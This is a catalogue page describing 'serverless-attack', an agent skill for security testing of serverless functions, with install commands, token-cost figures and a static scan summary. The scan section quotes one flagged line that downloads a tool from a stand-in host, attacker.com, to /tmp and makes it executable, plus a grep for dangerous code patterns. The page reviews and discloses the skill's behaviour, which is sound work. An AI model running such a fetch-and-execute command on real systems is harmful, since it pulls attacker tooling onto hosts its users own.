serverless-attack

A guide to security testing for serverless functions, which are cloud-hosted programs that run in response to events without a continuously running server. It covers services such as AWS Lambda, Tencent Cloud SCF, Alibaba Cloud FC, and Azure Functions.

In plain words
What is it for?
Use it to test API Gateway and storage or messaging triggers, inspect function code for vulnerabilities, assess exposed credentials, and evaluate code updates, runtime files, layers, and dependencies.
Why use it?
It helps assess risks in function triggers, source code, runtime files, environment variables, dependencies, and temporary cloud credentials.

Skill for Claude CodeCodex

Install

Getting it into your agent

One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.

agentmods
npx agentmods add skills/wgpsec/aboutsecurity/serverless-attack
Any agent
npx skills add wgpsec/AboutSecurity --skill serverless-attack
Clone the repo
git clone --depth 1 https://github.com/wgpsec/AboutSecurity

Made for: Claude Code, Codex.

Per session 171 Skills are progressive disclosure: only the name and description are preloaded; the body loads when the skill is used.
When invoked 1,434 The whole file, excluding the scripts and references it only reads on demand.
Security scan A 2 findings. Scan, not verified.
Origin unknown No closer match found in the catalogue.
Token cost

What it costs to keep this loaded

Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.

ModelPer sessionOnce invoked
Fable 5 $0.00171 $0.01434
Opus 5 $0.00086 $0.00717
Sonnet 5 $0.00034 $0.00287
Haiku 4.5 $0.00017 $0.00143

Measured 2d ago against content hash aff7dc4311b4, method: parsed. Prices are Anthropic first-party input rates as of 2026-08-30, from the pricing page.

Security

Grade A, and why

serverless-attack scanned grade A with 2 findings against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 2d ago.

A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.

Makes network callslowCapability

Not a fault in itself. Listed so you know the mod talks to something, and to what.

curl -o /tmp/fscan http://attacker.com/fscan && chmod +x /tmp/fscan

Runs shell commandslowCapability

Expected in a hook, worth knowing in a rule or an instructions file.

grep -rn "eval\|exec\|os.system\|subprocess\|pickle\|yaml.load" lambda_code/
skills/cloud/serverless-attack/SKILL.md · 135 lines

The source is not reproduced here

No licence file

A repository with no LICENSE is all rights reserved by default, so the body is not copied here. The metadata, the measurements and the link are.

Read it on GitHub

Files

What ships with it

2 files beside SKILL.md in the same directory: the scripts, references and assets a skill reads on demand. Not counted in the per-session cost; read them before you install if any of them is executable.

Changes

What this file has done since we first saw it

Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.

  1. 2d ago First seen · 135 lines · 171 tokens per session scan A aff7dc4311b4

Subscribe to this mod's changes

serverless-attack is a skill published in the GitHub repository wgpsec/AboutSecurity (1,705 stars, last pushed 1mo ago), with no licence file. It adds 171 tokens to every session and 1,434 once invoked, about $0.0009 per session on Opus 5. A static security scan graded it A with 2 findings (makes network calls, runs shell commands). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.